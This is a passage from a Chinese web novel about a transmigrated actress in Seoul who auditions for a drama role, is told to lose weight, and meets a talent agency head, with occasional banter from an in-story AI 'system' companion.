“康桑斯密达，欧尼，有机会我一定会再让你给我当经纪人的。” 电话那边的人只觉得好笑，“你先顾好自己吧！我可是很贵的，从来不带二线以下的演员。” 挂了电话之后李智真也有些怅然若失，这么好的一个苗子，为什么就落到今天这种境地？ 11、第十一章 短暂的假期度过，宋玉妍看着医院发来的账单还是有些发愁，虽然化疗的流程都已经走完了，但是后续的检查费用还是一笔不菲的数字。 姜真希不止一次和她说过放弃治疗。她的身体外表看起来还算不错，但是只有她自己知道，内里已经完全被癌症给掏空了。 就算是花钱耗着，除了拖累女儿本就不富裕的经济情况外，其他的毫无益处。 面对乳腺癌这种富人才能治得起的病，姜真希每次化疗的时候都吃了不小的苦头。 如果不是宋玉妍一再要求她必须治疗，甚至不惜放弃自己最爱的画家梦想，一头扎进了娱乐圈，她早就放弃自己的生命了。 父母总是这样，用自己做燃料去点亮孩子光明的未来。爱子计深远，不想最后人财两空！ 宋玉妍这次回到大邱，每次听到她说这些“丧气话”都捂住她的嘴不许她再说，然后一头扑进母亲的怀里。 “华国有句古话：父母在时尚有来处，父母走后人生只剩归处。偶妈你怎么舍得把我一个人撇下？” 听到女儿难得的推心置腹，姜真希心头一片酸胀。 作为母亲，她常觉亏欠，所以就算再不情愿拖累家人，但还是如宋玉妍所愿没有再提起这个话题。 回到首尔，窗外弘大的街道上依旧是车水马龙。从这间考试院往下看，三三两两的年轻人勾肩搭背进了一家又一家灯红酒绿的酒吧。 仿佛隔着玻璃都能闻到空气里的酒精味，灵魂都像是置身于一个巨大的酒桶里面。 楼下人的狂欢与她无关，宋玉妍看着交完房租后，银行卡里那少得可怜的余额，忍不住叹了口气。 在回首尔之前，她还信誓旦旦地和母亲打包票，说后续高昂的医疗费只是小菜一碟，结果现实给了她水灵灵的一耳光。 就算因为《京畿日报》那期专访让大众稍微看到她，依旧还是没有剧组主动对她发出邀约，就连试戏邀请都没有！ 宋玉妍现在甚至在盘算着，找前前夫哥爆点金币的可能性？李正宰老是说他是pabo，只要是个朋友都能找他借到钱。 「宿主，与其找郑宇盛借钱，你还不如找李正宰呢！再怎么说也是这次任务的攻略对象，给你点钱花花怎么了？」 「可以啊，小8你现在还算是有点ai的样子了！」之前顶多算是人工智障。 但是找李正宰爆金币还是算了，前脚刚说想和人划清界限，后一秒又整这死出。 她怕自己脸疼，退一万步说，郑宇盛还算是她亲认的前夫哥，李正宰和她又有什么关系？ 《京畿日报》的软广还是很成功的，面对着店里日渐增长的人流量，让咖啡厅那边很是满意。老板笑的合不拢嘴，农历新年一过爽快地把之前约定好的报酬打了过来。 南韩造星产业发达，不管是什么，只要和明星沾点关系，大众的兴趣总是会更容易被吸引过去。 看到卡里的余额从五位数重新变回六位数（韩元），宋玉妍也是松口气。 这一个多星期一直在坐吃山空，就算她一直给各个剧组的邮箱发电子简历都是了无音信。 之前在忠武路积攒下来的人脉除了前经纪人，其他的基本上都没有后续了。更何况电视剧和忠武路是两个不同的圈子。 前者觉得搞电影的那圈人死装，表面摆出一副看不起电视台晚间八点档的肥皂剧。实质上看到韩剧不断出海，一边卖版权一边被其他国家翻拍怕是眼睛都要红了。 这么多年，国家在振兴委员会花了那么多钱，出了那么多人。 最后还是处于赔本赚吆喝的情况，只能给第三世界的国家卖卖版权，在国际上的影响力几乎等于没有，除了韩国谁还把他们当回事？ 而后者占据韩娱生态链的顶端，看着毫无内涵的韩剧是一部接着一部地爆，在亚洲的影响力不断加大。 文娱部门也是减少了对忠武路的投入，转而大力支持那些谈情说爱的肥皂剧时，忠武路那群人也是不忿的很。 电影可是世界第八大艺术，那些爱情剧能比？电影天然地承担着更多的文化使命，比如说揭露社会黑暗、再比如说讽刺人性的丑恶！ 而正当宋玉妍还是在为以后发愁时，手机专属电话铃声响起。她看了眼来电了来电联系人，立马接起来，“祝导？” “玉妍，我也直接开门见山了，听说《主君的太阳》这部剧，原定的女二和孔孝珍闹的不可开交。剧方现在是焦头烂额。” “啊？”宋玉妍脑子一下没有转过来，找她来聊八卦了？ “啧！你傻啊。”这半个老乡为什么有些点不动？就算说的是中文，但祝竹也还是连忙压低声音，轻声说道：“孔孝珍手握的爆剧可不少！现在因为内部的矛盾导致制作的进度被拖慢，你说剧组会怎么取舍？” 这下她完全懂了对方的用意，这是给她递内部消息呢！“那现在这个女二还在剧组吗？” “在还是在，就是和女主的对手戏拍的很不愉快，她背后是个大公司。”祝竹点到为止，再往下说就不太合适了。 “谢谢祝导！我最近正愁天天在家躺着，您这真是雪中送炭了。”宋玉妍语气里满是感激，幸好当时在剧组给人留的印象好。 虽然她知道对方也存在提前投资卖人情的想法，但向来应该论迹不论心。 “那我到时候把导演的联系方式给你。”看在对方给他印象不错的份上，祝竹还是多了一句嘴，“进组之后还是尽量低调，要和女主打好关系。” 原来的女二是c-jes签的新人，脸蛋长得是很不错，刚进圈是有些不知天高地厚在的。 听到圈里评价孔孝珍演技不错但是长相差了点时，她是真的听进去了。 女主素颜、她是要全要韩式妆发的；服装组给她配的首饰衣服永远是不满意的，灯光是要给她打出皮肤能掐出水的效果。 进组没有半个月，为了和孔孝珍别苗头，把全剧组都给折腾了一遍。 不但剧组的工作人员苦不堪言，孔孝珍也是忍她很久了。演了这么多年戏，最后被一个新人发通稿拉踩颜值，做人家的踏脚石，她肯定是不愿意。 宋玉妍听懂人家的言外之意，没有问破，而是给祝竹再次道谢。 从忠武路的当红炸子鸡沦落到现在无人问津的糊咖，她和原主都体验过了这个圈子的捧高踩低，所以更能珍惜每一份善意。 《主君的太阳》的制作班底在电视剧里已经算是顶配了，sbs电视台的项目。导演陈赫的代表作《灿烂的遗产》、《城市猎人》都曾在亚洲风靡一时。 编剧洪氏姐妹更不用说，《豪杰春香》、《我的女友是九尾狐》、《原来是美男》都是红极一时的精品。 你可能没有听过她们的名字，但是绝对看过她们的电视剧。 她不知道是因为在这个世界以来一直受到的挫折比之前两辈子都多，还是因为这部剧的班底确实是强所以才导致的患得患失。 宋玉妍一直在手机上搜寻着和《主君的太阳》有关的内容，不但对女二这个角色有了初步的了解也顺便吃了一口孔孝珍和原本女二演员之间的瓜。 晚上熬夜，第二天醒来就是中午了。宋玉妍从冰箱里拿出牛奶，然后倒到细腻的白瓷碗里，放进微波炉里面加热。 和陈赫导演的助理敲定了试戏时间之后，她也能松了一口气，毕竟好饼都是要靠抢的。 等到了约定时间到片场找导演试戏时，宋玉妍内心还是有些惴惴不安。一踏入《主君的太阳》这个片场，空气里仿佛都凝固着一股紧张的气氛。 按道理来说，一般试戏都不会安排在片场。定在制作公司或者电视台里主创人员的工作室才是常态，再不济也是在作家的私人工作室。 但是《主君的太阳》这个剧是半路要更换演员，不管是导演还是制作人现在都恨不得直接睡在片场。 sbs那边对这部剧要求很高，就想靠着这个题材的爱情剧冲一冲今年收视率最高，顺便压另外两个台一头。 大家手头好像都有忙不完的事情一般，就连提前联系的导演助理也没有来接应。 宋玉妍只能随手拉住一个场务询问：“米亚内，陈导在哪里？” 等场务给她指来一个方向之后，她小心翼翼地抬腿，迈过地上和摄像机轨道交织的黑色电线，往工作人员指的方向过去。 到了片场的“中心”地段，周围更是嘈杂，一个带着收音耳机、手上拿着无线电的男人忙的不可开交。 一会是要驻片场的小作家听他的要求拿来几份飞页，被他直接卷成筒状，指点着灯光师把光板和面光灯挪来挪去。 一会开始挑场布的刺，男女主的妆容状态不够好。 还不容易等这一场戏结束，宋玉妍小心翼翼地上前，“陈导您好，我是祝导介绍过来面试的！” 导演没有给她半个眼神，而是转头喊自己的助理。“喂，你把洪美兰作家的地址给她，让她自己去找作家试戏。” 12、第十二章 “那会是新的大太阳吗？”坐在马扎上休息的苏智燮还是没有按耐住自己内心的好奇心，看着导演边的新人，又看了看给他剧组生活贡献大瓜的女主。 孔孝珍对上他打趣看热闹的眼神，瞪了他一眼。“不知道，我也想知道，要不然你去问问导演和编剧？” “人是完全的脸赞，就希望不要像上一个那样作妖。”他有些无奈，换了个话题。 娱乐圈一直都论资排辈。原来那个新人不想走正路，不但把剧组搞得乌烟瘴气，还存着一边和苏智燮炒绯闻，一边发通稿艳压女主的打算。 反正两位主演对她都是厌烦至极，偏偏人家和c-jes的大股东有着说不清道不明的关系。就算再怎么难忍受，面上都不能撕破脸。 孔孝珍像是把注意力完全放在眼前新加的飞页上，“前辈看得这么仔细？是想留人家的电话？” 这下轮到苏智燮沉默，看着这鱼龙混杂的剧组，并没有搭腔。 宋玉妍走出片场的时候脸色很不好，明明可以直接给地址，剧组还是让她白跑一趟。 虽然知道韩剧和电影的最大不同就是前者完全是作家中心制。作家有权利选择一部剧的主要演员。尤其是成名已久的大作家，对剧有绝对的控制权。 但因为咖位不够，被人轻慢戏耍，内心还是不忿。 路过之前兼职的咖啡厅时，不经意间看到一个熟悉的身影。她站在干净透明的落地窗前，脚步微微停顿了一下。 在看到倚靠在窗边棕色皮质沙发上的郑宇盛，她的内心五味杂陈。 对方一如既往的帅气，完全就是南韩忠武路的门面，以一己之力拉高男演员的颜值。 只是这份帅气，如今不属于她了！ 里面的人像是专注于手机上，丝毫没有察觉窗外有人向他投来复杂的目光。 「我的感情是都被消除了吗？」 「宿主，是的呢！」 感情被消除很容易，但是刻在灵魂深处的习惯会在不经意地透出来，比如说拥有在人群中一眼捕捉到他的能力。 她不再想其他的，以后如果再碰到顶多在心里感慨一句时过境迁！ “你怎么想的，那么多家会所不定，偏偏定在这家咖啡厅？准备开始修身养性？”看到自家好友推门而来后，郑宇盛收起手机，有些不满地调侃道。 李正宰把目光收了回来，心不在焉地回答：“内、内。”刚刚在转角他好像看到了应该一个很熟悉的身影，不太确定到底是不是她。 明明对他来说，这个圈子里面想往他身上扑的女艺人多如过江之鲫。 也是他自己先提的分手，又不知道为什么不止一次把关注投到宋玉妍身上，对其他人都提不起兴趣。 “去江南那边不好吗？偏偏绕一圈来弘大这边，还喝咖啡！弘大这到底有谁在啊？” 郑宇盛看自家好友魂不守舍，忍不住拿手在他眼前晃来晃。“李正宰xi？李正宰xi！” 终于把注意力收回来的李正宰整了整自己银灰色西装的领子，调整来坐姿后压低声音说道：“你真的要接下《监视者们》？那个反派角色可不讨喜，万一影响商业价值怎么办？” “就算是陪太子读书，给韩孝舟作配，也总好过一直待在舒适区。总不可能等四十岁的时候还在演偶像剧吧！” 郑宇盛只想让忠武路的导演看到他不一样的一面。不管是尝试走打星路线还是挑战反派，一直在纯爱片里面打转对他的职业生涯百害无一利。 只可惜和好兄弟相比，他在演戏方面的天赋还是差了一点，这几年的作品都是不温不火。 “慢慢来吧……” —— 江南的富人别墅区和首尔其他地方像是完全不在一个世界，明明是寸土寸金的市中心，但房屋覆盖的密度地了很多。 宋玉妍在安保人员打电话询问过业主之后，走访客这边的入口进去。 走在道路两边的树荫下时，不知道是不是她的错觉，这里的空气都好像撇去都市的浮躁，氧气里满是清新的水汽味。 她看着映入眼帘的白色欧式小叠墅，有些遗憾地看着门口的草坪，要是饭团还在的话肯定会喜欢。 饭团最喜欢在草坪上打滚，她每次带它去济州岛时，饭团完全控制不住它对自然的亲近。等毛发变得脏兮兮后，被宋玉妍抓着擦爪子时还会把草屑抖到她身上。 按响门铃，开门的应该是洪氏姐妹工作室的员工，因为年纪很轻，看起来像是才毕业。 宋玉妍在玄关处接住对方递过来的鞋套，然后换上。 一楼应该是被改成了一个小型的工作室，看起来比一般的工作室多几份温馨。 从办公桌上微微欲坠不知名的紫色花朵到窗外洒进来的阳光。如果不是房间内不断敲打键盘和碎纸机、打印机发出来的声音，这看起来更像是一个喝下午茶的精致去处。 给她递鞋套的圆脸女生带着她绕过客厅的格子格子间，来到了另外一个房间。 “你先在这里稍微等一下，老师还有一点事情，马上下来。” 这个位置对于别墅来说，应该是次卧的位置。宋玉妍推开门后，里面只放着零零散散的几把椅子，最中心的那把椅子坐着一个短发女士。 看到宋玉妍进来后，脸上的墨镜也没有取下，只是上下打量了宋玉妍一番。在看清楚她的长相后，像是有些不忿，嘴角用力抿起，随后不知道想到了什么面部的肌肉又放松了起来。 就当是对方带着审视又不友好的目光不存在，宋玉妍随便找了一把椅子，自顾自地开始研读刚刚圆脸女生给的一张纸。 也许是过了半个小时，门外的把手终于又传来扭动的声音。 没等洪美兰进来，金优利直接摘下墨镜迎了上去，“作家nim，我真的很喜欢你的作品！《我的女友是九尾狐》简直太好看了，我们之前还在kbs电视台的年末庆典上见过……” “都看完了吗？”洪美兰直接了断地说道：“太伊玲这个角色就是个陪衬，我的作品里面只会有绝对的男女主！” 言下之意就是这就是个扁平人物，留给演员发挥的余地并不多。也别想着能通过这个角色来吸粉，换言而之就是男女主之间的工具人。 洪美兰随后又继续说道：“你们两个都试一下被鬼附身那段戏吧！” 宋玉妍不由地和金优利对视了一眼，两人现在是竞争对手，先后顺序是能影响到作家最后选择哪个演员的。 “准备好了就开始吧！不用分顺序，你们两个同时开始好了。”说完洪美兰就重新搬来一把椅子靠墙坐着，双手抱胸，把房间里面大部分的空间让给两位演员。 金优利来的更早一些，自然对这段戏的熟悉程度更高。毫不犹豫地直接开始眼神变化，眼里好像是只有华美的礼服、精致的珠宝，对着空气表演换上之后走到墙边。 仿佛这边有一面镜子，她把侧脸对着作家，轻轻地抚摸着自己的面容，眼睛里面满是痴迷和疯狂。 作家不动声色地皱了皱眉头，这样演只能说是中规中矩，算是在平均线以上的水准。标准的韩式演绎，演戏没有丝毫层次，不拍特写镜头的话足够了。 另一边的宋玉妍没有立刻开始，而是在脑子里面构思了一遍自己想要的情绪和动作。 她先是抱着头下蹲，没有发出声音，但颤抖的手指和脸上恐慌的神色都在说明她的处境。 对方突然“啊”的一声尖叫，把宋玉妍吓了一跳，动作都停滞了一拍。然后沉浸在表演中的两人都无暇去关注作家的表情。 宋玉妍继续她的表演，像是喝醉了酒一样，摇摇晃晃地走了几步。眼神时而迷离时而清醒，最后转变为坚定，她走向最后右边的那堵墙，像是这里有个衣柜一般。 无实物版地开始表演，大力地掀翻，像是在寻找自己满意的衣服。往自己身上比划了一件，不满意！随手往旁边一扔，然后优换下一件。 洪美兰此时的目光完全被右边的人吸引了，眼睛也不眨地看着她的表演。看到宋玉妍也是最后选择了坐下，也对着镜子眼里像是清醒了一瞬间。 她像是被惊吓到了一遍，连忙丢下从衣柜拿出的衣服，迫不及待地用化妆棉擦拭着脸上夸张的妆容。 随后又听到了蛊惑的声音，眼底又慢慢染上迷离。看着镜中的自己，手指不自觉地抚上唇边，明明是很简单的一个动作，但是她做出来别有一番风情。 作家已经不想再继续看下去了，到了这里，就算两人的表演都还没有完成，但结果呼之欲出。 “你们有写人物小传吗？”洪美兰直截了当地问道。 宋玉妍先是从包里掏出一个不算薄的笔记本，这两天她不仅是上网冲浪吃瓜。哪怕是这样一个扁平的人物，也有在好好做功课。 而另一边的金优利只把之前工作人员递过来的一纸剧本递给作家，看到旁边人的笔记本。她忽然觉得这个角色她的胜算怕是不高，谁都会喜欢更用心的那个。 洪美兰看着后者只在印有台词纸的背面空白处寥寥写了几句，当下脸色就不好看了。直接开门让自己的助理先把金优利给请出去。 金优利心里也觉得委屈，虽然洪氏姐妹的作品在圈内如雷贯耳，但是第一轮试戏的时候她就被刷了下去。 公司强力推荐了一个入行一个月表演可都没有上完的新人进组，结果新人在剧组作妖。 她是昨天才知道c-jes要把她推过来再次试戏，才结束商业活动就跑过来救场。《主君的太阳》里面人物关系都没有搞清楚，就被经纪人打包送来了。 拿不到这个角色还好，万一给编剧留下不好的印象，尤其是这种大作家，随便在圈里多说两句就足够她寸步难行了。 最后留下的宋玉妍脸上不由地挂上自信的笑容。另一位被宣判出局，那作家的选择呼之欲出了。 她情不自禁地站地更加笔直，对自己的演技很有信心，等着作家最后的决定。 13、第十三章 洪美兰没有立即给出答案，而是细细打量着她的外貌，先是不动声色皱了皱眉。然后任由沉默在房间里思考，又翻了翻手中的笔记本。 原本嘴角挂着笑容的宋玉妍忍不住把肌肉紧绷，作家许久没有给出确切的答案。笃定的心逐渐转变成焦躁，她放在腹部上方的两只手不由地开始细微地摩挲着。 坐在椅子上的洪美兰终于开口道：“太伊玲这个角色她的职业是模特，要求这个演员必须绝对瘦的身形才是贴合角色的。” 听到这样的一番话，宋玉妍犹如五雷轰顶，她现在的体型绝对说不上胖。165的身高53kg的体重在普通人中都算是偏瘦了。但演员都是需要上镜的，镜头会拉宽人的脸型，再加上鹅蛋脸本来就会更加显胖。 这让她有些难受，一切顺利的情况下，因为外形被作家拒绝。 宋玉妍有些无奈，以为自己被拒绝了，只能从角落里拿起自己的链条包。转身朝着作家鞠躬，有些心灰意冷地说道：“非常感谢洪作家给我这个试镜机会，希望以后合作的机会。” 洪美兰一听就知道，她肯定是误会了，按照她以前的性格，这种管理不好自己身材的演员只会被打上没有自制力的标签，然后拉入不合作的名单。 也许是现在年纪大了，也许是因为宋玉妍莫名其妙有点合眼缘。何况这已经是这段时间，她已经是来试戏的演员中最合适的一个。 就算她还想着慢慢挑选，制作方那边也不会给她时间，剧组每天都在烧千万韩元，没有这么多时间可以浪费。 种种情况下，洪美兰自然没有像以往那么严苛。 在宋玉妍拉着银色金属把手，准备开门出去的时候。 她打断了门被打开时的“吱”的轻声，“给你一个星期，瘦下十斤，我不希望在屏幕里看到你像是发面一样的脸蛋。” 心情就像是过山车一样，经历了大起大落大起。宋玉妍连忙再次转身，这次的鞠躬包含了许多真心实意，“内！谢谢作家nim能给我这个角色，我一定会做到的。” 走出房间的时候，不知道当时开门的那个像是作家助理一样的圆脸女生被吩咐了什么。 她给宋玉妍拿来一打纸，没有包封面。语气和态度都变好了不少，甚至还带上了一丝亲近。“这是纸质版的剧本台词大纲，你先拿好。注意不要外泄，不能给其他人看。” 然后再从打印机底部抽出其中一小沓，“这是你所有戏份的台词，后续可能有修改。明天抽时间去把意向合同给签了。” 宋玉妍接过之后，婉拒了对方想要送她出去的提议后就告辞了。 漫步在初春的首尔江南富人区是真的很不错，隔绝了都市的喧嚣，每呼吸一口清新的空气都弥漫着金钱的味道。 她忽然觉得自己租住的考试院有些让人难熬。这里的空气是真的很不错，如果饭团还在的话它肯定会很喜欢，作为一只有过社会化训练的猫猫，它超级喜欢在外面散步。 前世饭团最爱的就是济州岛房子前的草坪，每年柑橘成熟的时候。他们都会去济州岛度过一段时间…… 不能再追忆过去了，宋玉妍深吸一口气，打断自己的思绪。今天的事情也是给她敲响了警钟，作为演员，身材管理还是不能松懈。 之前因为都是偏龙套的角色，导演他们自然也就要求不高，毕竟谁会给一个女n号特写呢？偏偏这个身体还算是易胖体质，一碰糖和油，体脂率就疯狂上涨。 只要能瘦下来，这个角色十有八九就定下来了，宋玉妍先是给祝竹发去消息表示感谢。然后给原经纪人打电话询问有没有其他的靠谱经纪公司。 没有过一分钟，李智真的电话就回拨了过来。“你怎么想着签经纪公司了？之前让你和原公司服个软你都不愿意，后续让你重新签个小公司你都是满口拒绝。” “欧尼你又不是不知道，如果我对原来的经纪公司服软的话就要接受他们的摆布，老老实实去陪酒。” 李智真那段时间夹在公司和艺人中间简直就是里外不是人。公司觉得她没有为公司的利益考虑，忘记谁给她发的薪水。但是把艺人推入火坑，良心又不允许。 “你真要签的话，小公司就别考虑了，给不了你多少助力。cj虽然好，但是你的咖位他们是不会考虑的。”一向专业的经纪人给她提议道：“裴永俊的keyeast算是一个好的选择。” 她沉吟半刻，不知道该怎么说下去，李智真虽然喜欢钱，但也是把宋玉妍当成半个亲人的，有些不该说的话也还是说出口了。 “只是……玉妍呐，经纪公司都是大同小异的，你不要太天真。” 原来的公司拿着软刀子去逼迫艺人陪酒并不是个例，甚至合约到期之后干脆利落放人的行为都很算是行业楷模版的存在。 “内！欧尼我知道的，我没有那么天真。”宋玉妍在电话这边有些无奈地笑了笑。也许是还未毕业就进公司，李智真作为她的第一个经纪人总觉得对她有一份责任感。 剩下的时间李智真都在给她科普关于裴永俊和keyeast的一些消息。 这让宋玉妍听得晕头转向，她总结下来就是对方原本就是一个很厉害的演员，然后创立了一个很厉害的经纪公司。 她对裴永俊作为演员的成就，倒是不太了解。 从演员转型到商人，算得上典范，现在的身价都翻了十几倍。而keyeast能在cj、soop这些老牌经纪公司中杀出重围，还能活得不错，这和老板的情商、手腕、人脉关系都离不开关系。 “虽然现阶段keyeast是最适合你的经济公司，但是！”李智真不无担忧地说道：“人家不一定会和你签约。” 和soop只签大牌的路线不一样，keyeast虽然也给新人机会，但是更加倾向与人气、颜值都还不错的明星。 “欧尼，这你就不用担心了，我这么耶啵，公司就算是只把我推出去拍cf都是不亏的。”宋玉妍皱了皱鼻头，给这个帮了她许多的欧尼撒娇道。“实在不行就把分成谈低一点。” 李智真这段时间自顾不暇，自家公司的经营层对经纪公司的运作一窍不通，还喜欢指手画脚。 她麾下好几个艺人都开始跳槽了，之前也是好不容易带出几个有些水花的艺人，结果被经纪公司的骚操作逼走。 一次两次就算了，这样经常为他人做嫁衣多了，她也是心累地慌。本来还想亲自带宋玉妍去keyeast的，但是分身乏术还是只留了联系方式。 坐在计程车上，宋玉妍的脸书响了一下，通知那一栏多了个红点，点开一看是一个灰色头像的新号发来的请求加为好友的消息。 这个号知道的人不多，当时在咖啡店崔俊秀找她要sns（社交软件）账号的时候，她也只是给了ins小号。 「宿主，这是李正宰的小号！」 宋玉妍收起手机，就当是没有看到，在心里嗤笑一声。之前嘴上说自己年纪大了，不适合现在的社交软件的是谁。 现在连脸书好友都会加了，还不是之前给惯的吗？ 「宿主，你不打算通过他的请求吗？」 她已经不想回复系统这些低智的问题，能问出这样的问题就表明，这个系统的开发者就绝对不会是韩国人。 暧昧期人均都会拉扯的韩国人，在制作攻略系统的时候居然没有把怎么重要的信息给导入进去？ 回家路上路过city&coffee时毫不犹豫地推门而入，风铃浅浅的敲击声像是在表示欢迎。 吧台恰好是崔俊秀在，“欢迎……”抬头一看是宋玉妍，脸上浮现出一抹不可置信的惊喜。“宋玉妍xi！榛子摩卡？” “阿尼，今天要冰美式就好。”宋玉妍含笑地回复道，看到十几个打包好的袋子，“这是外送的吗？” “内！我们店的名气还算大，上了报纸之后，老板也接纳了你的建议，在ins上打卡发图片送舒芙蕾。” 崔俊秀最近的薪资也上涨了，看着眼前的女人，心脏是怦然还是告诉他，那份被掩埋的感情并没有消失。 只是被他藏了起来，没有告白的原因只是觉得两人不是一个世界的人。他已经从老板的口中得知，宋玉妍继续回去做演员了。既然没办法开始，那就干脆不要开口，把这份单向的感情变成她人的困扰。 “那就好，看到你们越来越好我也会很开心的。”宋玉妍打算付钱走人，但是却被崔俊秀制止了。 “老板说你以后的咖啡都她请了。”其实不是，这是他的私心，现在只能请她喝杯咖啡。就算她并不知道。 她拗不过崔俊秀，只能接过咖啡、道谢然后转身。 “宋玉妍xi！就算是做演员也要走花路，我会为你好好应援的。” “内！谢谢！” 风铃的声音再次响起，窗外落日融金，清清浅浅的阳光洒落在街道上。几乎让人分不清究竟是日出还是夕阳，就像有时人生中的某些节点，既是开始，又像是结束。 14、第十四章 回到家的宋玉妍坐在书桌旁，捧着冰美式看着窗外的景色，这里夜色只能说是差强人意。 从屋里往外看，只能看到一条街的街景，再远处就会被更高大的建筑挡住。 房间狭小，只有十几平方，但是她忽然觉得有些孤独。 宋玉妍咬着白色的吸管，把自身的重量完全放在身后的椅背上，目光对着对面的高大建筑但是没有焦点。 「宿主，你如果觉得孤独的话，可以把我当成你的电子宠物。」 宋玉妍：「……」 她冷不丁地被吓了一跳，听到系统这样的开解，丝毫没有觉得感动。「宠物能给予人类无法替代的高情感需求，这才是我们选择它们的理由。」 至于系统，再怎么人工智能也替代不了鲜活的生命。从她幼时自我意识觉醒开始，宋玉妍就开始习惯孤独、享受孤独。 所以没过多久她就调整好了心态，有的时候孤独就像是尼古丁，偶尔来一下能够缓解内心其他的负面情绪。 找到李智真给的邮箱，她无暇细细品味自己的孤独。打开了电脑，给这个网址发了一份正式的函件。 《主君的太阳》的女二号的角色已经是十拿九稳了，后续没有太大问题，她应该可以靠演员这个职业养活自己。 当务之急就是签一个靠谱的经纪公司，有一个靠谱的团队，这样可以帮她处理其他的琐事。之前不用事事亲为，只要负责演戏的感觉真好。 这段时间宋玉妍又是兼职、又是跑剧组试戏、进组，还要和剧组其他的部门打交道、偶尔还要和之前人脉联系。 繁杂的工作是真的让她心力交瘁。 —— 终于等到剧组签订的意向约消息，合同上面除了标明宋玉妍应当在进组之前体重到47kg以外，上面还标注她的报酬是五千万韩元。 宋玉妍从来不知道自己是如此容易满足的性格，再多的片酬也拿过，居然有一天会为这笔钱心动。 一和剧组签完约，下午马不停蹄和keyeast的工作人员约了见面，趁热打铁地商量一下具体的经济合约。 keyeast公司在三年前，接受了种花的搜狐公司注资，别的都缺，最不缺的就是钱。总公司财大气粗地设立在江南区狎鸥亭那边，宋玉妍怕迟到只能忍痛从首尔郊外打车过去。 坐计程车上，计价表上的数字不断跳动。她打开手机，刷着ins，自己的小号被city&coffee店铺艾特。 ins的推流让很多人看到了圣诞的那一组写真，俊男靓女的组合属实是让人眼前一亮。 加上《京畿日报》的报道，让她重新回归于大众视野。也许对她的名字和代表作不熟悉，但这张脸一定让人印象深刻。 现在sns兴起，大部分南韩的年轻人都不太关注纸媒。《京畿日报》算是传统媒体中的先行者，给宋玉妍做的那一期专访融合了很多热点新闻。 比如说聚焦当代的年轻人的社会焦虑、就算是优秀的演员也可能会被行业抛弃、娱乐圈的内幕…… 又是发在ins账号的官网上，最近还以此为主题做成了一个系列新闻，在流媒体上收获了不少关注。 宋玉妍的ins小号被咖啡厅艾特出来后，之前粉丝顺藤摸瓜地找了过来，follow量瞬间突破了五位数。 原主就所剩无几的活粉，居然还在坚持等她。宋玉妍立马挑了几条私信回复。 「宿主！你是不是把李正宰给忘记了，他还在等你脸书好友验证通过呢！」 利落地切换社交软件后，发现确实是这样后，她吐槽道：「这个小号只有他一个人知道，他是觉得我是有多笨？才会想不到这个陌生人会是他！」 点开请求添加好友那一栏，宋玉妍点了通过按钮，省得每天被系统催好几次。 也许是感知到宿主的情绪不好，系统也就没有再提醒，通过好友后李正宰发来的消息还没有回。 另外一边好不容易等来通过的李正宰，看到脸书列表里唯一的好友，心绪复杂。他们彼此都心知肚明对方是谁，这个账号……也成了唯一的一点联系。 南韩娱乐圈很小，真正有名有姓的不超过三位数。南韩娱乐圈又很大，从忠武路到sbs的距离他没有计算过，但路上他没有碰到过宋玉妍一次。 就算再财大气粗，也不能在市中心拥有一整栋写字楼。看着眼前玉米楼造型，宋玉妍忽然对未来老板的审美产生了怀疑。 到了固定的楼层，公司前台先是给她端了一杯拿铁，让她先坐在商务黑色沙发上等一会。她去确认一下预约的情况。 骨白瓷色的咖啡杯碟全套，看起来很有质感。宋玉妍还在减脂期并没有碰这杯热量奇高的饮品。 只是在心里默默下了一个定义，看来这家公司公司对自身的定位很高，从前台的接待到各种迎客流程和细节都能窥见一二。 之前还是同行的裴先生，做起生意来很有一套，难怪人家能成功呢。 “好的，我知道了。” 前台的礼仪小姐像是已经确认好，访客已经有过预约。她在帮宋玉妍刷过电梯后，同时告诉她具体的位置，然后回到了自己的岗位。 到了17楼之后，一个穿着韩式西装三件套、戴着黑框眼镜的男人看到了人。先是眼前一亮，被惊艳了一下，反应过来的一瞬间脸上又重新堆上职业化笑容。 看到宋玉妍后他快步迎了过来，“宋玉妍xi，代表nim已经在等着了，从你发过来的简历之后他一直在期待和你的见面。” 同时在心里感叹道：人是真的不上相，镜头至少把她的美貌给吞了三分之二。如果在公司刚成立的时候挖过来，就凭借这张脸自家老板都能给捧成现象级的女艺人。 不说和全知贤、孙亦珍这种忠武路头部女演员相比，像宋惠乔同等咖位热剧女王是完全没有问题。 “我的荣幸。”宋玉妍今天穿的也很正式，有质感的珍珠衬衫下面搭着浅灰色的衬裙，外面是一件简洁的驼色风衣。 看起来温婉又知性，仿佛不是来面试的艺人，更像是深造的高知精英。 秘书带着她穿过长长的走廊，来到尽头的办公室。两长一短地敲了敲门，等着里面人的回复。 刚刚经过的时候，宋玉妍就注意到走廊两边都挂满了艺人的写真。最外面的应该就是去年靠着《拥抱太阳的月亮》大火的金秀闲，看来现在公司最赚钱的艺人就是他了。 “进！” 得到屋内传来肯定的答复，打断了她的思绪。 这个应该是秘书的工作人员，连忙轻手轻脚地把代表的办公室门推开，然后示意宋玉妍一个人进去。 前世她也见过裴永俊，但是接触不多，都是各种不同的局碰过面，草草地打过几个招呼。 当时的感觉他就是一个很圆滑的人，现在想来直觉没有错。 对方看到她时起步从移动的老板椅上站了起来，含笑道：“宋玉妍xi，你当年的那部《银娇》可是让我印象深刻啊！当时我还和其他人说，这完全就是能拿青龙影后级别的表现。” 裴永俊这番话给人一种如沐春风的感觉，通过夸赞一下就拉近了两人之间的距离，相同的职业会让人不由地卸下心防。 宋玉妍笑了笑，并没有立即接话。两年前，原主接下《银娇》这部戏受到的非议很大，不伦恋的题材向来都容易得奖，但市场的接受度很一般。 简单来说，这类电影就是容易叫好不叫座。 等对方拿了一瓶矿泉水放在她面前，宋玉妍连忙起身道谢。“裴永俊xi，我很喜欢你们公司，您也是我非常尊重的前辈。” 听到她这样说，裴永俊忽然来了兴趣。“哦？那你有看过我的作品吗？”本来也只是想随口一问。毕竟宋玉妍和他差辈了，没看过也是很正常。 从06年把工作重心转到做生意上后，裴永俊就很少出现在银幕上了。 看着对方沉默，他也不想让宋玉妍尴尬，正打算开口自嘲几句，把这个话题岔过去时。 “当然看过，《情定大饭店》当初可是风靡一时！wuli偶妈还说，女主要是早点和东贤在一起就好了。” 对于这个作品，裴永俊也是很骄傲的，当初这个剧一播出不但带火了汉城饭店，还开启了男二上位的先河。 寒暄就到这为止了，他随手翻了翻之前宋玉妍发到邮箱后又被助理打出来的简历。上面基本上囊括了她入行以来大大小小的角色、奖项和成就。 